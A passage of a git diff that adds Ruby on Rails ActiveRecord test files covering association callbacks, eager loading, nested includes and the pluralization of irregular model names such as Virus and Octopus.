+
+ sponsor.sponsorable
+ proxy = sponsor.send(:association_instance_get, :sponsorable)
+
+ assert !proxy.stale_target?
+ assert_equal members(:groucho), sponsor.sponsorable
+
+ sponsor.sponsorable_type = 'Firm'
+
+ assert proxy.stale_target?
+ assert_equal companies(:first_firm), sponsor.sponsorable
+ end
+
+ def test_reloading_association_with_key_change
+ client = companies(:second_client)
+ firm = client.association(:firm)
+
+ client.firm = companies(:another_firm)
+ firm.reload
+ assert_equal companies(:another_firm), firm.target
+
+ client.client_of = companies(:first_firm).id
+ firm.reload
+ assert_equal companies(:first_firm), firm.target
+ end
+
+ def test_polymorphic_counter_cache
+ tagging = taggings(:welcome_general)
+ post = posts(:welcome)
+ comment = comments(:greetings)
+
+ assert_difference lambda { post.reload.taggings_count }, -1 do
+ assert_difference 'comment.reload.taggings_count', +1 do
+ tagging.taggable = comment
+ end
+ end
+ end
+
+ def test_polymorphic_with_custom_foreign_type
+ sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+ groucho = members(:groucho)
+ other = members(:some_other_guy)
+
+ assert_equal groucho, sponsor.sponsorable
+ assert_equal groucho, sponsor.thing
+
+ sponsor.thing = other
+
+ assert_equal other, sponsor.sponsorable
+ assert_equal other, sponsor.thing
+
+ sponsor.sponsorable = groucho
+
+ assert_equal groucho, sponsor.sponsorable
+ assert_equal groucho, sponsor.thing
+ end
+
+ def test_build_with_conditions
+ client = companies(:second_client)
+ firm = client.build_bob_firm
+
+ assert_equal "Bob", firm.name
+ end
+
+ def test_create_with_conditions
+ client = companies(:second_client)
+ firm = client.create_bob_firm
+
+ assert_equal "Bob", firm.name
+ end
+
+ def test_create_bang_with_conditions
+ client = companies(:second_client)
+ firm = client.create_bob_firm!
+
+ assert_equal "Bob", firm.name
+ end
+
+ def test_build_with_block
+ client = Client.create(:name => 'Client Company')
+
+ firm = client.build_firm{ |f| f.name = 'Agency Company' }
+ assert_equal 'Agency Company', firm.name
+ end
+
+ def test_create_with_block
+ client = Client.create(:name => 'Client Company')
+
+ firm = client.create_firm{ |f| f.name = 'Agency Company' }
+ assert_equal 'Agency Company', firm.name
+ end
+
+ def test_create_bang_with_block
+ client = Client.create(:name => 'Client Company')
+
+ firm = client.create_firm!{ |f| f.name = 'Agency Company' }
+ assert_equal 'Agency Company', firm.name
+ end
+
+ def test_should_set_foreign_key_on_create_association
+ client = Client.create! :name => "fuu"
+
+ firm = client.create_firm :name => "baa"
+ assert_equal firm.id, client.client_of
+ end
+
+ def test_should_set_foreign_key_on_create_association!
+ client = Client.create! :name => "fuu"
+
+ firm = client.create_firm! :name => "baa"
+ assert_equal firm.id, client.client_of
+ end
+
+ def test_self_referential_belongs_to_with_counter_cache_assigning_nil
+ comment = Comment.create! :post => posts(:thinking), :body => "fuu"
+ comment.parent = nil
+ comment.save!
+
+ assert_equal nil, comment.reload.parent
+ assert_equal 0, comments(:greetings).reload.children_count
+ end
+
+ def test_polymorphic_with_custom_primary_key
+ toy = Toy.create!
+ sponsor = Sponsor.create!(:sponsorable => toy)
+
+ assert_equal toy, sponsor.reload.sponsorable
+ end
+
+ test "stale tracking doesn't care about the type" do
+ apple = Firm.create("name" => "Apple")
+ citibank = Account.create("credit_limit" => 10)
+
+ citibank.firm_id = apple.id
+ citibank.firm # load it
+
+ citibank.firm_id = apple.id.to_s
+
+ assert !citibank.association(:firm).stale_target?
+ end
+
+ def test_reflect_the_most_recent_change
+ author1, author2 = Author.limit(2)
+ post = Post.new(:title => "foo", :body=> "bar")
+
+ post.author = author1
+ post.author_id = author2.id
+
+ assert post.save
+ assert_equal post.author_id, author2.id
+ end
+end
diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb
new file mode 100644
index 0000000..2d0d454
--- /dev/null
+++ b/activerecord/test/cases/associations/callbacks_test.rb
@@ -0,0 +1,168 @@
+require "cases/helper"
+require 'models/post'
+require 'models/author'
+require 'models/project'
+require 'models/developer'
+require 'models/company'
+
+class AssociationCallbacksTest < ActiveRecord::TestCase
+ fixtures :posts, :authors, :projects, :developers
+
+ def setup
+ @david = authors(:david)
+ @thinking = posts(:thinking)
+ @authorless = posts(:authorless)
+ assert @david.post_log.empty?
+ end
+
+ def test_adding_macro_callbacks
+ @david.posts_with_callbacks << @thinking
+ assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
+ @david.posts_with_callbacks << @thinking
+ assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
+ "after_adding#{@thinking.id}"], @david.post_log
+ end
+
+ def test_adding_with_proc_callbacks
+ @david.posts_with_proc_callbacks << @thinking
+ assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
+ @david.posts_with_proc_callbacks << @thinking
+ assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
+ "after_adding#{@thinking.id}"], @david.post_log
+ end
+
+ def test_removing_with_macro_callbacks
+ first_post, second_post = @david.posts_with_callbacks[0, 2]
+ @david.posts_with_callbacks.delete(first_post)
+ assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
+ @david.posts_with_callbacks.delete(second_post)
+ assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
+ "after_removing#{second_post.id}"], @david.post_log
+ end
+
+ def test_removing_with_proc_callbacks
+ first_post, second_post = @david.posts_with_callbacks[0, 2]
+ @david.posts_with_proc_callbacks.delete(first_post)
+ assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
+ @david.posts_with_proc_callbacks.delete(second_post)
+ assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
+ "after_removing#{second_post.id}"], @david.post_log
+ end
+
+ def test_multiple_callbacks
+ @david.posts_with_multiple_callbacks << @thinking
+ assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
+ "after_adding_proc#{@thinking.id}"], @david.post_log
+ @david.posts_with_multiple_callbacks << @thinking
+ assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
+ "after_adding_proc#{@thinking.id}", "before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}",
+ "after_adding#{@thinking.id}", "after_adding_proc#{@thinking.id}"], @david.post_log
+ end
+
+ def test_has_many_callbacks_with_create
+ morten = Author.create :name => "Morten"
+ post = morten.posts_with_proc_callbacks.create! :title => "Hello", :body => "How are you doing?"
+ assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
+ end
+
+ def test_has_many_callbacks_with_create!
+ morten = Author.create! :name => "Morten"
+ post = morten.posts_with_proc_callbacks.create :title => "Hello", :body => "How are you doing?"
+ assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
+ end
+
+ def test_has_many_callbacks_for_save_on_parent
+ jack = Author.new :name => "Jack"
+ jack.posts_with_callbacks.build :title => "Call me back!", :body => "Before you wake up and after you sleep"
+
+ callback_log = ["before_adding<new>", "after_adding#{jack.posts_with_callbacks.first.id}"]
+ assert_equal callback_log, jack.post_log
+ assert jack.save
+ assert_equal 1, jack.posts_with_callbacks.count
+ assert_equal callback_log, jack.post_log
+ end
+
+ def test_has_many_callbacks_for_destroy_on_parent
+ firm = Firm.create! :name => "Firm"
+ client = firm.clients.create! :name => "Client"
+ firm.destroy
+
+ assert_equal ["before_remove#{client.id}", "after_remove#{client.id}"], firm.log
+ end
+
+ def test_has_and_belongs_to_many_add_callback
+ david = developers(:david)
+ ar = projects(:active_record)
+ assert ar.developers_log.empty?
+ ar.developers_with_callbacks << david
+ assert_equal ["before_adding#{david.id}", "after_adding#{david.id}"], ar.developers_log
+ ar.developers_with_callbacks << david
+ assert_equal ["before_adding#{david.id}", "after_adding#{david.id}", "before_adding#{david.id}",
+ "after_adding#{david.id}"], ar.developers_log
+ end
+
+ def test_has_and_belongs_to_many_after_add_called_after_save
+ ar = projects(:active_record)
+ assert ar.developers_log.empty?
+ alice = Developer.new(:name => 'alice')
+ ar.developers_with_callbacks << alice
+ assert_equal"after_adding#{alice.id}", ar.developers_log.last
+
+ bob = ar.developers_with_callbacks.create(:name => 'bob')
+ assert_equal "after_adding#{bob.id}", ar.developers_log.last
+
+ ar.developers_with_callbacks.build(:name => 'charlie')
+ assert_equal "after_adding<new>", ar.developers_log.last
+ end
+
+
+ def test_has_and_belongs_to_many_remove_callback
+ david = developers(:david)
+ jamis = developers(:jamis)
+ activerecord = projects(:active_record)
+ assert activerecord.developers_log.empty?
+ activerecord.developers_with_callbacks.delete(david)
+ assert_equal ["before_removing#{david.id}", "after_removing#{david.id}"], activerecord.developers_log
+
+ activerecord.developers_with_callbacks.delete(jamis)
+ assert_equal ["before_removing#{david.id}", "after_removing#{david.id}", "before_removing#{jamis.id}",
+ "after_removing#{jamis.id}"], activerecord.developers_log
+ end
+
+ def test_has_and_belongs_to_many_remove_callback_on_clear
+ activerecord = projects(:active_record)
+ assert activerecord.developers_log.empty?
+ if activerecord.developers_with_callbacks.size == 0
+ activerecord.developers << developers(:david)
+ activerecord.developers << developers(:jamis)
+ activerecord.reload
+ assert activerecord.developers_with_callbacks.size == 2
+ end
+ log_array = activerecord.developers_with_callbacks.collect {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.flatten.sort
+ assert activerecord.developers_with_callbacks.clear
+ assert_equal log_array, activerecord.developers_log.sort
+ end
+
+ def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
+ project = Project.new :name => "Callbacks"
+ project.developers_with_callbacks.build :name => "Jack", :salary => 95000
+
+ callback_log = ["before_adding<new>", "after_adding<new>"]
+ assert_equal callback_log, project.developers_log
+ assert project.save
+ assert_equal 1, project.developers_with_callbacks.size
+ assert_equal callback_log, project.developers_log
+ end
+
+ def test_dont_add_if_before_callback_raises_exception
+ assert !@david.unchangable_posts.include?(@authorless)
+ begin
+ @david.unchangable_posts << @authorless
+ rescue Exception
+ end
+ assert @david.post_log.empty?
+ assert !@david.unchangable_posts.include?(@authorless)
+ @david.reload
+ assert !@david.unchangable_posts.include?(@authorless)
+ end
+end
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
new file mode 100644
index 0000000..e693d34
--- /dev/null
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -0,0 +1,179 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/author'
+require 'models/categorization'
+require 'models/category'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/person'
+require 'models/vertex'
+require 'models/edge'
+
+class CascadedEagerLoadingTest < ActiveRecord::TestCase
+ fixtures :authors, :mixins, :companies, :posts, :topics, :accounts, :comments,
+ :categorizations, :people, :categories, :edges, :vertices
+
+ def test_eager_association_loading_with_cascaded_two_levels
+ authors = Author.all.merge!(:includes=>{:posts=>:comments}, :order=>"authors.id").to_a
+ assert_equal 3, authors.size
+ assert_equal 5, authors[0].posts.size
+ assert_equal 3, authors[1].posts.size
+ assert_equal 10, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
+ end
+
+ def test_eager_association_loading_with_cascaded_two_levels_and_one_level
+ authors = Author.all.merge!(:includes=>[{:posts=>:comments}, :categorizations], :order=>"authors.id").to_a
+ assert_equal 3, authors.size
+ assert_equal 5, authors[0].posts.size
+ assert_equal 3, authors[1].posts.size
+ assert_equal 10, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
+ assert_equal 1, authors[0].categorizations.size
+ assert_equal 2, authors[1].categorizations.size
+ end
+
+ def test_eager_association_loading_with_hmt_does_not_table_name_collide_when_joining_associations
+ assert_nothing_raised do
+ Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
+ end
+ authors = Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
+ assert_equal 1, assert_no_queries { authors.size }
+ assert_equal 10, assert_no_queries { authors[0].comments.size }
+ end
+
+ def test_eager_association_loading_grafts_stashed_associations_to_correct_parent
+ assert_nothing_raised do
+ Person.eager_load(:primary_contact => :primary_contact).where('primary_contacts_people_2.first_name = ?', 'Susan').order('people.id').to_a
+ end
+ assert_equal people(:michael), Person.eager_load(:primary_contact => :primary_contact).where('primary_contacts_people_2.first_name = ?', 'Susan').order('people.id').first
+ end
+
+ def test_cascaded_eager_association_loading_with_join_for_count
+ categories = Category.joins(:categorizations).includes([{:posts=>:comments}, :authors])
+
+ assert_nothing_raised do
+ assert_equal 4, categories.count
+ assert_equal 4, categories.to_a.count
+ assert_equal 3, categories.distinct.count
+ assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
+ end
+ end
+
+ def test_cascaded_eager_association_loading_with_duplicated_includes
+ categories = Category.includes(:categorizations).includes(:categorizations => :author).where("categorizations.id is not null").references(:categorizations)
+ assert_nothing_raised do
+ assert_equal 3, categories.count
+ assert_equal 3, categories.to_a.size
+ end
+ end
+
+ def test_cascaded_eager_association_loading_with_twice_includes_edge_cases
+ categories = Category.includes(:categorizations => :author).includes(:categorizations => :post).where("posts.id is not null").references(:posts)
+ assert_nothing_raised do
+ assert_equal 3, categories.count
+ assert_equal 3, categories.to_a.size
+ end
+ end
+
+ def test_eager_association_loading_with_join_for_count
+ authors = Author.joins(:special_posts).includes([:posts, :categorizations])
+
+ assert_nothing_raised { authors.count }
+ assert_queries(3) { authors.to_a }
+ end
+
+ def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations
+ authors = Author.all.merge!(:includes=>{:posts=>[:comments, :categorizations]}, :order=>"authors.id").to_a
+ assert_equal 3, authors.size
+ assert_equal 5, authors[0].posts.size
+ assert_equal 3, authors[1].posts.size
+ assert_equal 10, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
+ end
+
+ def test_eager_association_loading_with_cascaded_two_levels_and_self_table_reference
+ authors = Author.all.merge!(:includes=>{:posts=>[:comments, :author]}, :order=>"authors.id").to_a
+ assert_equal 3, authors.size
+ assert_equal 5, authors[0].posts.size
+ assert_equal authors(:david).name, authors[0].name
+ assert_equal [authors(:david).name], authors[0].posts.collect{|post| post.author.name}.uniq
+ end
+
+ def test_eager_association_loading_with_cascaded_two_levels_with_condition
+ authors = Author.all.merge!(:includes=>{:posts=>:comments}, :where=>"authors.id=1", :order=>"authors.id").to_a
+ assert_equal 1, authors.size
+ assert_equal 5, authors[0].posts.size
+ end
+
+ def test_eager_association_loading_with_cascaded_three_levels_by_ping_pong
+ firms = Firm.all.merge!(:includes=>{:account=>{:firm=>:account}}, :order=>"companies.id").to_a
+ assert_equal 2, firms.size
+ assert_equal firms.first.account, firms.first.account.firm.account
+ assert_equal companies(:first_firm).account, assert_no_queries { firms.first.account.firm.account }
+ assert_equal companies(:first_firm).account.firm.account, assert_no_queries { firms.first.account.firm.account }
+ end
+
+ def test_eager_association_loading_with_has_many_sti
+ topics = Topic.all.merge!(:includes => :replies, :order => 'topics.id').to_a
+ first, second, = topics(:first).replies.size, topics(:second).replies.size
+ assert_no_queries do
+ assert_equal first, topics[0].replies.size
+ assert_equal second, topics[1].replies.size
+ end
+ end
+
+ def test_eager_association_loading_with_has_many_sti_and_subclasses
+ silly = SillyReply.new(:title => "gaga", :content => "boo-boo", :parent_id => 1)
+ silly.parent_id = 1
+ assert silly.save
+
+ topics = Topic.all.merge!(:includes => :replies, :order => ['topics.id', 'replies_topics.id']).to_a
+ assert_no_queries do
+ assert_equal 2, topics[0].replies.size
+ assert_equal 0, topics[1].replies.size
+ end
+ end
+
+ def test_eager_association_loading_with_belongs_to_sti
+ replies = Reply.all.merge!(:includes => :topic, :order => 'topics.id').to_a
+ assert replies.include?(topics(:second))
+ assert !replies.include?(topics(:first))
+ assert_equal topics(:first), assert_no_queries { replies.first.topic }
+ end
+
+ def test_eager_association_loading_with_multiple_stis_and_order
+ author = Author.all.merge!(:includes => { :posts => [ :special_comments , :very_special_comment ] }, :order => ['authors.name', 'comments.body', 'very_special_comments_posts.body'], :where => 'posts.id = 4').first
+ assert_equal authors(:david), author
+ assert_no_queries do
+ author.posts.first.special_comments
+ author.posts.first.very_special_comment
+ end
+ end
+
+ def test_eager_association_loading_of_stis_with_multiple_references
+ authors = Author.all.merge!(:includes => { :posts => { :special_comments => { :post => [ :special_comments, :very_special_comment ] } } }, :order => 'comments.body, very_special_comments_posts.body', :where => 'posts.id = 4').to_a
+ assert_equal [authors(:david)], authors
+ assert_no_queries do
+ authors.first.posts.first.special_comments.first.post.special_comments
+ authors.first.posts.first.special_comments.first.post.very_special_comment
+ end
+ end
+
+ def test_eager_association_loading_where_first_level_returns_nil
+ authors = Author.all.merge!(:includes => {:post_about_thinking => :comments}, :order => 'authors.id DESC').to_a
+ assert_equal [authors(:bob), authors(:mary), authors(:david)], authors
+ assert_no_queries do
+ authors[2].post_about_thinking.comments.first
+ end
+ end
+
+ def test_eager_association_loading_with_recursive_cascading_four_levels_has_many_through
+ source = Vertex.all.merge!(:includes=>{:sinks=>{:sinks=>{:sinks=>:sinks}}}, :order => 'vertices.id').first
+ assert_equal vertices(:vertex_4), assert_no_queries { source.sinks.first.sinks.first.sinks.first }
+ end
+
+ def test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many
+ sink = Vertex.all.merge!(:includes=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC').first
+ assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
+ end
+end
diff --git a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
new file mode 100644
index 0000000..75a6295
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
@@ -0,0 +1,36 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/tagging'
+
+module Namespaced
+ class Post < ActiveRecord::Base
+ self.table_name = 'posts'
+ has_one :tagging, :as => :taggable, :class_name => 'Tagging'
+ end
+end
+
+class EagerLoadIncludeFullStiClassNamesTest < ActiveRecord::TestCase
+
+ def setup
+ generate_test_objects
+ end
+
+ def generate_test_objects
+ post = Namespaced::Post.create( :title => 'Great stuff', :body => 'This is not', :author_id => 1 )
+ Tagging.create( :taggable => post )
+ end
+
+ def test_class_names
+ old = ActiveRecord::Base.store_full_sti_class
+
+ ActiveRecord::Base.store_full_sti_class = false
+ post = Namespaced::Post.includes(:tagging).find_by_title('Great stuff')
+ assert_nil post.tagging
+
+ ActiveRecord::Base.store_full_sti_class = true
+ post = Namespaced::Post.includes(:tagging).find_by_title('Great stuff')
+ assert_instance_of Tagging, post.tagging
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+end
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
new file mode 100644
index 0000000..5ff117e
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -0,0 +1,128 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/tag'
+require 'models/author'
+require 'models/comment'
+require 'models/category'
+require 'models/categorization'
+require 'models/tagging'
+
+module Remembered
+ extend ActiveSupport::Concern
+
+ included do
+ after_create :remember
+ protected
+ def remember; self.class.remembered << self; end
+ end
+
+ module ClassMethods
+ def remembered; @@remembered ||= []; end
+ def sample; @@remembered.sample; end
+ end
+end
+
+class ShapeExpression < ActiveRecord::Base
+ belongs_to :shape, :polymorphic => true
+ belongs_to :paint, :polymorphic => true
+end
+
+class Circle < ActiveRecord::Base
+ has_many :shape_expressions, :as => :shape
+ include Remembered
+end
+class Square < ActiveRecord::Base
+ has_many :shape_expressions, :as => :shape
+ include Remembered
+end
+class Triangle < ActiveRecord::Base
+ has_many :shape_expressions, :as => :shape
+ include Remembered
+end
+class PaintColor < ActiveRecord::Base
+ has_many :shape_expressions, :as => :paint
+ belongs_to :non_poly, :foreign_key => "non_poly_one_id", :class_name => "NonPolyOne"
+ include Remembered
+end
+class PaintTexture < ActiveRecord::Base
+ has_many :shape_expressions, :as => :paint
+ belongs_to :non_poly, :foreign_key => "non_poly_two_id", :class_name => "NonPolyTwo"
+ include Remembered
+end
+class NonPolyOne < ActiveRecord::Base
+ has_many :paint_colors
+ include Remembered
+end
+class NonPolyTwo < ActiveRecord::Base
+ has_many :paint_textures
+ include Remembered
+end
+
+
+
+class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
+ NUM_SIMPLE_OBJS = 50
+ NUM_SHAPE_EXPRESSIONS = 100
+
+ def setup
+ generate_test_object_graphs
+ end
+
+ def teardown
+ [Circle, Square, Triangle, PaintColor, PaintTexture,
+ ShapeExpression, NonPolyOne, NonPolyTwo].each do |c|
+ c.delete_all
+ end
+ end
+
+ def generate_test_object_graphs
+ 1.upto(NUM_SIMPLE_OBJS) do
+ [Circle, Square, Triangle, NonPolyOne, NonPolyTwo].map(&:create!)
+ end
+ 1.upto(NUM_SIMPLE_OBJS) do
+ PaintColor.create!(:non_poly_one_id => NonPolyOne.sample.id)
+ PaintTexture.create!(:non_poly_two_id => NonPolyTwo.sample.id)
+ end
+ 1.upto(NUM_SHAPE_EXPRESSIONS) do
+ shape_type = [Circle, Square, Triangle].sample
+ paint_type = [PaintColor, PaintTexture].sample
+ ShapeExpression.create!(:shape_type => shape_type.to_s, :shape_id => shape_type.sample.id,
+ :paint_type => paint_type.to_s, :paint_id => paint_type.sample.id)
+ end
+ end
+
+ def test_include_query
+ res = ShapeExpression.all.merge!(:includes => [ :shape, { :paint => :non_poly } ]).to_a
+ assert_equal NUM_SHAPE_EXPRESSIONS, res.size
+ assert_queries(0) do
+ res.each do |se|
+ assert_not_nil se.paint.non_poly, "this is the association that was loading incorrectly before the change"
+ assert_not_nil se.shape, "just making sure other associations still work"
+ end
+ end
+ end
+end
+
+class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
+ def setup
+ @davey_mcdave = Author.create(:name => 'Davey McDave')
+ @first_post = @davey_mcdave.posts.create(:title => 'Davey Speaks', :body => 'Expressive wordage')
+ @first_comment = @first_post.comments.create(:body => 'Inflamatory doublespeak')
+ @first_categorization = @davey_mcdave.categorizations.create(:category => Category.first, :post => @first_post)
+ end
+
+ def teardown
+ @davey_mcdave.destroy
+ @first_post.destroy
+ @first_comment.destroy
+ @first_categorization.destroy
+ end
+
+ def test_missing_data_in_a_nested_include_should_not_cause_errors_when_constructing_objects
+ assert_nothing_raised do
+ # @davey_mcdave doesn't have any author_favorites
+ includes = {:posts => :comments, :categorizations => :category, :author_favorites => :favorite_author }
+ Author.all.merge!(:includes => includes, :where => {:authors => {:name => @davey_mcdave.name}}, :order => 'categories.name').to_a
+ end
+ end
+end
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
new file mode 100644
index 0000000..634f6b6
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -0,0 +1,145 @@
+require "cases/helper"
+
+class Virus < ActiveRecord::Base
+ belongs_to :octopus
+end
+class Octopus < ActiveRecord::Base
+ has_one :virus
+end
+class Pass < ActiveRecord::Base
+ belongs_to :bus
+end
+class Bus < ActiveRecord::Base
+ has_many :passes
+end
+class Mess < ActiveRecord::Base
+ has_and_belongs_to_many :crises
+end
+class Crisis < ActiveRecord::Base
+ has_and_belongs_to_many :messes
+ has_many :analyses, :dependent => :destroy
+ has_many :successes, :through => :analyses
+ has_many :dresses, :dependent => :destroy
+ has_many :compresses, :through => :dresses
+end
+class Analysis < ActiveRecord::Base
+ belongs_to :crisis
+ belongs_to :success
+end
+class Success < ActiveRecord::Base
+ has_many :analyses, :dependent => :destroy
+ has_many :crises, :through => :analyses
+end
+class Dress < ActiveRecord::Base
+ belongs_to :crisis
+ has_many :compresses
+end
+class Compress < ActiveRecord::Base
+ belongs_to :dress
+end
+
+
+class EagerSingularizationTest < ActiveRecord::TestCase
+
+ def setup
+ if ActiveRecord::Base.connection.supports_migrations?
+ ActiveRecord::Base.connection.create_table :viri do |t|
+ t.column :octopus_id, :integer
+ t.column :species, :string
+ end
+ ActiveRecord::Base.connection.create_table :octopi do |t|
+ t.column :species, :string
+ end
+ ActiveRecord::Base.connection.create_table :passes do |t|
+ t.column :bus_id, :integer
+ t.column :rides, :integer
+ end
+ ActiveRecord::Base.connection.create_table :buses do |t|
+ t.column :name, :string
+ end
+ ActiveRecord::Base.connection.create_table :crises_messes, :id => false do |t|
+ t.column :crisis_id, :integer
+ t.column :mess_id, :integer
+ end
+ ActiveRecord::Base.connection.create_table :messes do |t|
+ t.column :name, :string
+ end
+ ActiveRecord::Base.connection.create_table :crises do |t|
+ t.column :name, :string
+ end
+ ActiveRecord::Base.connection.create_table :successes do |t|
+ t.column :name, :string
+ end
+ ActiveRecord::Base.connection.create_table :analyses do |t|
+ t.column :crisis_id, :integer
+ t.column :success_id, :integer
+ end
+ ActiveRecord::Base.connection.create_table :dresses do |t|
+ t.column :crisis_id, :integer
+ end
+ ActiveRecord::Base.connection.create_table :compresses do |t|
+ t.column :dress_id, :integer
+ end
+ @have_tables = true
+ else
+ @have_tables = false
+ end
+ end
+
+ def teardown
+ ActiveRecord::Base.connection.drop_table :viri
+ ActiveRecord::Base.connection.drop_table :octopi
+ ActiveRecord::Base.connection.drop_table :passes
+ ActiveRecord::Base.connection.drop_table :buses
+ ActiveRecord::Base.connection.drop_table :crises_messes
+ ActiveRecord::Base.connection.drop_table :messes
+ ActiveRecord::Base.connection.drop_table :crises
+ ActiveRecord::Base.connection.drop_table :successes
+ ActiveRecord::Base.connection.drop_table :analyses
+ ActiveRecord::Base.connection.drop_table :dresses
+ ActiveRecord::Base.connection.drop_table :compresses
+ end
+
+ def test_eager_no_extra_singularization_belongs_to
+ return unless @have_tables
+ assert_nothing_raised do
+ Virus.all.merge!(:includes => :octopus).to_a
+ end
+ end
+
+ def test_eager_no_extra_singularization_has_one
+ return unless @have_tables
+ assert_nothing_raised do
+ Octopus.all.merge!(:includes => :virus).to_a
+ end
+ end
+
+ def test_eager_no_extra_singularization_has_many
+ return unless @have_tables
+ assert_nothing_raised do
+ Bus.all.merge!(:includes => :passes).to_a
+ end
+ end
+
+ def test_eager_no_extra_singularization_has_and_belongs_to_many
+ return unless @have_tables
+ assert_nothing_raised do
+ Crisis.all.merge!(:includes => :messes).to_a
+ Mess.all.merge!(:includes => :crises).to_a
+ end
+ end
+
+ def test_eager_no_extra_singularization_has_many_through_belongs_to
+ return unless @have_tables
+ assert_nothing_raised do
+ Crisis.all.merge!(:includes => :successes).to_a
+ end
+ end
+
+ def test_eager_no_extra_singularization_has_many_through_has_many
+ return unless @have_tables
+ assert_nothing_raised do
+ Crisis.all.merge!(:includes => :compresses).to_a
+ end
+ end
+end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
new file mode 100644
index 0000000..4aa6567
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -0,0 +1,1188 @@
+require "cases/helper"
+require 'models/post'
+require 'models/tagging'
+require 'models/tag'
+require 'models/comment'
+require 'models/author'
+require 'models/category'
+require 'models/company'
+require 'models/person'
+require 'models/reader'
+require 'models/owner'
+require 'models/pet'
+require 'models/reference'
+require 'models/job'
+require 'models/subscriber'
+require 'models/subscription'
+require 'models/book'
+require 'models/developer'
+require 'models/project'
+require 'models/member'
+require 'models/membership'
+require 'models/club'
+require 'models/categorization'
+require 'models/sponsor'
+
+class EagerAssociationTest < ActiveRecord::TestCase
+ fixtures :posts, :comments, :authors, :author_addresses, :categories, :categories_posts,
+ :companies, :accounts, :tags, :taggings, :people, :readers, :categorizations,
+ :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
+ :developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
+
+ def test_eager_with_has_one_through_join_model_with_conditions_on_the_through
+ member = Member.all.merge!(:includes => :favourite_club).find(members(:some_other_guy).id)
+ assert_nil member.favourite_club
+ end
+
+ def test_loading_with_one_association
+ posts = Post.all.merge!(:includes => :comments).to_a
+ post = posts.find { |p| p.id == 1 }
+ assert_equal 2, post.comments.size
+ assert post.comments.include?(comments(:greetings))
+
+ post = Post.all.merge!(:includes => :comments, :where => "posts.title = 'Welcome to the weblog'").first
+ assert_equal 2, post.comments.size
+ assert post.comments.include?(comments(:greetings))
+
+ posts = Post.all.merge!(:includes => :last_comment).to_a
+ post = posts.find { |p| p.id == 1 }
+ assert_equal Post.find(1).last_comment, post.last_comment
+ end
+
+ def test_loading_with_one_association_with_non_preload
+ posts = Post.all.merge!(:includes => :last_comment, :order => 'comments.id DESC').to_a
+ post = posts.find { |p| p.id == 1 }
+ assert_equal Post.find(1).last_comment, post.last_comment
+ end
+
+ def test_loading_conditions_with_or
+ posts = authors(:david).posts.references(:comments).merge(
+ :includes => :comments,
+ :where => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE} = 'SpecialComment'"
+ ).to_a
+ assert_nil posts.detect { |p| p.author_id != authors(:david).id },
+ "expected to find only david's posts"
+ end
+
+ def test_with_ordering
+ list = Post.all.merge!(:includes => :comments, :order => "posts.id DESC").to_a
+ [:other_by_mary, :other_by_bob, :misc_by_mary, :misc_by_bob, :eager_other,
+ :sti_habtm, :sti_post_and_comments, :sti_comments, :authorless, :thinking, :welcome
+ ].each_with_index do |post, index|
+ assert_equal posts(post), list[index]
+ end
+ end
+
